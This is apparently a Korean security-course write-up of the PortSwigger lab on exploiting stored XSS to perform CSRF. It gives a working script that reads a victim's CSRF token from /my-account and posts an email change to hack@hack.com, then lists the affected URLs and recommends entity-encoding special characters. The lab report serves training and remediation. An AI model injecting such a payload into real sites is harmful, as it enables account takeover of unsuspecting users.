[SK shieldus Rookies 19기] 04 - Stored XSS + CSRF (Burp Suite Academy)
[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
Lab: Exploiting XSS to perform CSRF | Web Security Academy
This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to perform a CSRF attack and change ...
portswigger.net
가. 문제점
[CASE 4] CSRF
Web Security Academy 서비스 내 일부 페이지에서 XSS 취약점을 이용하여 악성 스크립트 삽입 및 실행이 가능하며, 사용자가 자신의 의지와 무관하게 공격자가 의도한 행동을 하여 특정 웹 페이지를 보안에 취약하게 한다거나 수정, 삭제 등의 작업을 하게 만들 가능성이 존재합니다.
<script>
var req = new XMLHttpRequest();
req.addEventListener("load", handleResponse);
req.open('get','/my-account');
req.send();
function handleResponse() {
console.log(`Loaded junshae: ${req.status} ${req.response}`);
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
console.log(`junshae : ${token}`)
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email');
changeReq.send('csrf='+token+'&email=hack@hack.com');
};
</script>
나. 관련 URL
번호 | 경로 | URL |
1 | View Post > Post Comment | /post/comment?comment |
2 | My Account > Login > Update email | /my-account/change-email |
다. 해결 방안
모든 입/출력 값에 대한 필터링시 아래와 같은 문자들에 대해서 필터링을 설정 해야 합니다.
From | To |
< | & l t; |
> | & g t; |
( | & # 4 0; |
) | & # 4 1; |
# | & # 3 5; |
& | & # 3 8; |
' | & # 3 9; |
" |
"
|
※ Keyword 필터링은 대/소문자 구분 없이 적용하여야 하며 일괄 적용 시 오류가 발생할 수 있으니 서비스 및 운영상의 영향도를 확인하시어 적용해야 합니다.